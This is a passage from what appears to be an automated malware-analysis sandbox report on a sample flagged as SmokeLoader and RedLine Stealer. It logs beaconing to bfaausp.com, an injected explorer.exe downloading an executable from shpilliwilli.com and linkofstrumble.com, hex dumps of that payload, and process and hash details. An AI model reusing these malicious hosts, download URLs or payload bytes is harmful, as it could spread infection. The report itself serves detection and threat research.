Dec 19, 2023 03:25:49.535998106 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	49994	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:49.939382076 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:50.220222950 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	49995	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:50.665296078 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:50.939359903 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	49996	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:51.351216078 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:51.627703905 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	49997	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:52.049103022 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:52.328989029 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	49998	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:52.755057096 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:53.028551102 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	49999	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:53.693865061 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:53.973339081 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	50000	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:56.385720015 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:56.664288998 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	50001	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:57.067003965 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:57.344799995 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	50002	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:57.754801035 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:58.028362989 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49751	104.21.45.142	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-19 02:22:39 UTC	190	OUT	GET /288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: shpilliwilli.com
2023-12-19 02:22:39 UTC	696	IN	HTTP/1.1 307 Temporary Redirect Date: Tue, 19 Dec 2023 02:22:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://linkofstrumble.com/39e5374d27c9d96fc9810d6b8d373df2/288c47bbc1871b439df19ff4df68f076.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DnRMijQ9qG%2FHbcUJjBgtqRutxLqvBbFalFRDr8cl4KtghIauDhUliur4sRkmeo%2BWaFC16m0esstj2pCxzyF7lkQkqBtiSjinYYpKrbDq7%2BHN76MmO5gTIZWt0Kb2Znv8RwMA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 837c2dd87c1d3715-MIA alt-svc: h3=":443"; ma=86400
2023-12-19 02:22:39 UTC	138	IN	Data Raw: 38 34 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 69 6e 6b 6f 66 73 74 72 75 6d 62 6c 65 2e 63 6f 6d 2f 33 39 65 35 33 37 34 64 32 37 63 39 64 39 36 66 63 39 38 31 30 64 36 62 38 64 33 37 33 64 66 32 2f 32 38 38 63 34 37 62 62 63 31 38 37 31 62 34 33 39 64 66 31 39 66 66 34 64 66 36 38 66 30 37 36 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 84<a href="https://linkofstrumble.com/39e5374d27c9d96fc9810d6b8d373df2/288c47bbc1871b439df19ff4df68f076.exe">Temporary Redirect</a>.
2023-12-19 02:22:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49752	172.67.185.93	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-19 02:22:40 UTC	225	OUT	GET /39e5374d27c9d96fc9810d6b8d373df2/288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: linkofstrumble.com
2023-12-19 02:22:40 UTC	693	IN	HTTP/1.1 200 OK Date: Tue, 19 Dec 2023 02:22:40 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4385672 Connection: close Last-Modified: Tue, 19 Dec 2023 00:38:56 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 39 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yWZWZXHJJ1Xk%2Btu6jEZ70Wrm10LwgUUPGTpLiaiZiVrPYqRCL%2F%2Fx53Wi0TDpCj3%2FSfES%2FUW4jLOGrFnayZbEgCqgQMlJSlgqxhi93YNQzXOz%2F8s2xNj3DZyyBz1D3KMN%2Bw9DKfk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 837c2dde5b5974ca-MIA alt-svc: h3=":443"; ma=86400
2023-12-19 02:22:40 UTC	676	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c2 46 44 64 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELFDd
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: 08 89 3e 75 19 6a 00 6a 00 ff 15 7c b0 80 00 8b 45 f8 5f 89 46 04 5e 5b 8b e5 5d c2 04 00 5f 89 4e 04 5e 5b 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc cc 55 8b ec a1 80 06 c3 00 8b 0d d4 f5 c2 00 c1 e8 03 81 ec 1c 08 00 00 85 c0 0f 86 d3 00 00 00 53 8b 1d a8 b0 80 00 56 8b 35 4c b0 80 00 57 8b 3d 70 b0 80 00 89 4d fc 89 45 f8 8d 9b 00 00 00 00 81 3d 80 06 c3 00 59 09 00 00 0f 85 88 00 00 00 6a 00 6a 00 ff d6 68 34 e8 80 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff d7 6a 00 8d 85 e4 f7 ff ff 50 6a 00 68 44 e8 80 00 6a 00 6a 00 ff d3 6a 00 ff 15 3c b0 80 00 6a 00 ff 15 a4 b0 80 00 6a 00 6a 00 68 80 e8 80 00 68 a0 e8 80 00 6a 00 ff 15 50 b0 80 00 33 c0 50 50 8d 4d e4 51 50 89 45 e4 89 45 e8 89 45 ec 89 45 f0 89 45 f4 ff 15 54 b0 80 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a Data Ascii: >ujj\|E_F^[]_N^[]USV5LW=pME=Yjjh4jjjjjjPjhDjjj<jjjhhjP3PPMQPEEEEETjjjjjj
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: 66 00 00 00 8b c6 c3 cc cc cc 6a 00 6a 01 e8 57 00 00 00 c3 cc cc cc cc cc cc 53 51 8b c4 e8 47 01 00 00 8b c6 e8 30 01 00 00 6a 00 56 33 db e8 c6 00 00 00 56 e8 a0 00 00 00 8b c6 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc 53 6a 01 50 33 db e8 a5 00 00 00 5b c3 cc cc cc 8b 40 14 c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 80 7d 08 00 53 8b 5d 0c 56 8b f1 74 26 83 7e 18 10 72 20 8d 46 04 57 8b 38 85 db 76 08 53 57 50 e8 a8 04 00 00 8b 46 18 40 50 57 8b ce e8 1b 01 00 00 5f 53 8b ce c7 46 18 0f 00 00 00 e8 cb 00 00 00 5e 5b 5d c2 08 00 cc cc cc cc cc 8b c1 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc 8b c1 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec e8 78 f6 ff ff 8b 4d 08 e8 f0 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 80 7d Data Ascii: fjjWSQG0jV3V[SjP3[@U}S]Vt&~r FW8vSWPF@PW_SF^[]UxM]U}
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: e5 5d c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 e8 d7 00 00 00 8b 4d 08 8b 55 0c 88 45 fc 8b 45 fc 50 8b 45 10 51 e8 d1 00 00 00 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 e8 a7 00 00 00 8b 4d 08 8b 55 0c 88 45 fc 8b 45 fc 50 8b 45 10 51 e8 c1 00 00 00 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 0c 85 c9 77 11 33 c9 03 c9 51 e8 55 0f 00 00 83 c4 04 8b e5 5d c3 83 c8 ff 33 d2 f7 f1 83 f8 02 73 e5 6a 00 8d 4d f4 e8 af f0 ff ff 68 90 f2 80 00 8d 45 f4 50 e8 cc 11 00 00 cc 55 8b ec 8b 45 08 56 50 8b f1 e8 a6 0a 00 00 c7 06 10 b2 80 00 8b c6 5e 5d c2 04 00 cc cc cc cc 55 8b ec 51 8a 45 ff 8b e5 5d c3 cc cc cc cc cc 50 51 6a 10 52 e8 76 f1 ff ff 83 c4 10 c2 04 00 55 8b ec 51 8a 45 ff 8b e5 5d c3 cc cc cc Data Ascii: ]UQMUEEPEQ]UQMUEEPEQ]Uw3QU]3sjMhEPUEVP^]UQE]PQjRvUQE]
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: c2 08 00 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 85 0c 00 00 59 50 ff 75 08 8b ce e8 70 ff ff ff 5e 5d c2 04 00 8b ff 55 8b ec 56 8b f1 6a 00 c7 46 18 0f 00 00 00 e8 8e f6 ff ff ff 75 08 8b ce e8 bf ff ff ff 8b c6 5e 5d c2 04 00 6a 44 b8 f9 a1 80 00 e8 1b 11 00 00 68 4c b2 80 00 8d 4d d8 e8 c0 ff ff ff 83 65 fc 00 8d 45 d8 50 8d 4d b0 e8 3c fe ff ff 68 84 ed 80 00 8d 45 b0 50 e8 a1 0c 00 00 cc 8b ff 55 8b ec 8b 55 08 56 8b f1 8b 4e 14 3b ca 73 05 e8 b1 ff ff ff 2b ca 3b 4d 0c 73 03 89 4d 0c 83 7d 0c 00 76 42 8b 46 18 53 57 8d 7e 04 83 f8 10 72 04 8b 1f eb 02 8b df 83 f8 10 72 02 8b 3f 2b 4d 0c 03 da 03 5d 0c 51 53 2b c2 50 03 fa 57 e8 07 fc ff ff 8b 46 14 2b 45 0c 83 c4 10 50 8b ce e8 de f5 ff ff 5f 5b 8b c6 5e 5d c2 08 00 8b ff 55 8b ec 53 8b 5d 0c 56 57 8b Data Ascii: UVuYPup^]UVjFu^]jDhLMeEPM<hEPUUVN;s+;MsM}vBFSW~rr?+M]QS+PWF+EP_[^]US]VW
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: c4 14 8b c6 eb 29 39 7d 10 74 e0 39 45 0c 73 0e e8 5e 3a 00 00 6a 22 59 89 08 8b f1 eb d7 50 ff 75 10 ff 75 08 e8 45 35 00 00 83 c4 0c 33 c0 5f 5e 5d c3 8b c1 83 60 04 00 83 60 08 00 c7 00 68 b2 80 00 c3 8b ff 55 8b ec 53 8b 5d 08 56 57 8b f9 c7 07 68 b2 80 00 8b 03 85 c0 74 26 50 e8 dc 06 00 00 8b f0 46 56 e8 d1 3a 00 00 59 59 89 47 04 85 c0 74 12 ff 33 56 50 e8 08 3a 00 00 83 c4 0c eb 04 83 67 04 00 c7 47 08 01 00 00 00 8b c7 5f 5e 5b 5d c2 04 00 8b ff 55 8b ec 8b c1 8b 4d 08 c7 00 68 b2 80 00 8b 09 83 60 08 00 89 48 04 5d c2 08 00 8b ff 55 8b ec 53 8b 5d 08 56 8b f1 c7 06 68 b2 80 00 8b 43 08 89 46 08 85 c0 8b 43 04 57 74 31 85 c0 74 27 50 e8 61 06 00 00 8b f8 47 57 e8 56 3a 00 00 59 59 89 46 04 85 c0 74 18 ff 73 04 57 50 e8 8c 39 00 00 83 c4 0c eb 09 Data Ascii: )9}t9Es^:j"YPuuE53_^]``hUS]VWht&PFV:YYGt3VP:gG_^[]UMh`H]US]VhCFCWt1t'PaGWV:YYFtsWP9
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: 00 75 19 83 0d ac 18 81 00 01 8b ce e8 a3 ff ff ff 68 a2 a2 80 00 e8 22 fd ff ff 59 56 8d 4d f4 e8 81 f0 ff ff 68 90 f2 80 00 8d 45 f4 50 e8 3e 02 00 00 cc 8b ff 55 8b ec 83 3d b8 18 81 00 01 75 05 e8 66 0e 00 00 ff 75 08 e8 b3 0c 00 00 68 ff 00 00 00 e8 68 07 00 00 59 59 5d c3 6a 58 68 38 ee 80 00 e8 55 38 00 00 33 f6 89 75 fc 8d 45 98 50 ff 15 c8 b0 80 00 6a fe 5f 89 7d fc b8 4d 5a 00 00 66 39 05 00 00 40 00 75 38 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 00 00 75 27 b9 0b 01 00 00 66 39 88 18 00 40 00 75 19 83 b8 74 00 40 00 0e 76 10 33 c9 39 b0 e8 00 40 00 0f 95 c1 89 4d e4 eb 03 89 75 e4 33 db 43 53 e8 76 53 00 00 59 85 c0 75 08 6a 1c e8 58 ff ff ff 59 e8 1c 1c 00 00 85 c0 75 08 6a 10 e8 47 ff ff ff 59 e8 07 53 00 00 89 5d fc e8 ab 50 00 00 85 c0 7d 08 Data Ascii: uh"YVMhEP>U=ufuhhYY]jXh8U83uEPj_}MZf9@u8<@@PEu'f9@ut@v39@Mu3CSvSYujXYujGYS]P}
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: 00 8b 4d fc 4e 8b c6 6b c0 14 03 c1 8b 4d 10 39 48 04 7d 05 3b 48 08 7e 05 83 fe ff 75 09 ff 4d 0c 8b 5d 08 89 75 08 83 7d 0c 00 7d ca 8b 45 14 46 89 30 8b 45 18 89 18 3b 5f 0c 77 04 3b f3 76 05 e8 72 5c 00 00 8b c6 6b c0 14 03 45 fc 5f 5e 5b c9 c3 8b ff 55 8b ec 8b 45 0c 56 8b 75 08 89 06 e8 f6 15 00 00 8b 80 98 00 00 00 89 46 04 e8 e8 15 00 00 89 b0 98 00 00 00 8b c6 5e 5d c3 8b ff 55 8b ec e8 d3 15 00 00 8b 80 98 00 00 00 eb 0a 8b 08 3b 4d 08 74 0a 8b 40 04 85 c0 75 f2 40 5d c3 33 c0 5d c3 8b ff 55 8b ec 56 e8 ab 15 00 00 8b 75 08 3b b0 98 00 00 00 75 11 e8 9b 15 00 00 8b 4e 04 89 88 98 00 00 00 5e 5d c3 e8 8a 15 00 00 8b 80 98 00 00 00 eb 09 8b 48 04 3b f1 74 0f 8b c1 83 78 04 00 75 f1 5e 5d e9 c8 5b 00 00 8b 4e 04 89 48 04 eb d2 8b ff 55 8b ec 83 ec Data Ascii: MNkM9H};H~uM]u}}EF0E;_w;vr\kE_^[UEVuF^]U;Mt@u@]3]UVu;uN^]H;txu^][NHU
2023-12-19 02:22:40 UTC	1369	IN	Data Raw: d1 88 07 83 c7 01 83 e9 01 75 f6 8b c8 c1 e0 08 03 c1 8b c8 c1 e0 10 03 c1 8b ca 83 e2 03 c1 e9 02 74 06 f3 ab 85 d2 74 0a 88 07 83 c7 01 83 ea 01 75 f6 8b 44 24 08 5f c3 8b 44 24 04 c3 8b ff 55 8b ec 8b 45 08 a3 f0 18 81 00 a3 f4 18 81 00 a3 f8 18 81 00 a3 fc 18 81 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d fc 09 81 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 f8 18 81 00 e8 19 0e 00 00 59 c3 6a 20 68 80 ee 80 00 e8 60 2d 00 00 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4c 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 64 2b c1 75 44 e8 b2 0f 00 00 8b f8 89 7d d8 85 ff 75 14 83 c8 ff e9 61 01 00 00 be f0 18 81 00 a1 f0 18 81 00 eb 60 ff 77 5c 8b d3 e8 5d ff ff ff Data Ascii: uttuD$_D$UE]UEV9Ptku;rkM^;s9Pt3]5Yj h`-3}}]LtjY+t"+t+td+uD}ua`w\]

Target ID:	0
Start time:	03:21:49
Start date:	19/12/2023
Path:	C:\Users\user\Desktop\NBHEkIKDCr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\NBHEkIKDCr.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	B53CE56FB0E4F176F943246F0F9A9761
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.1639239838.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1702853575.0000000000ACD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:21:55
Start date:	19/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:22:15
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Roaming\faischf
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\faischf
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	B53CE56FB0E4F176F943246F0F9A9761
Has elevated privileges:	false
Has administrator privileges:	false
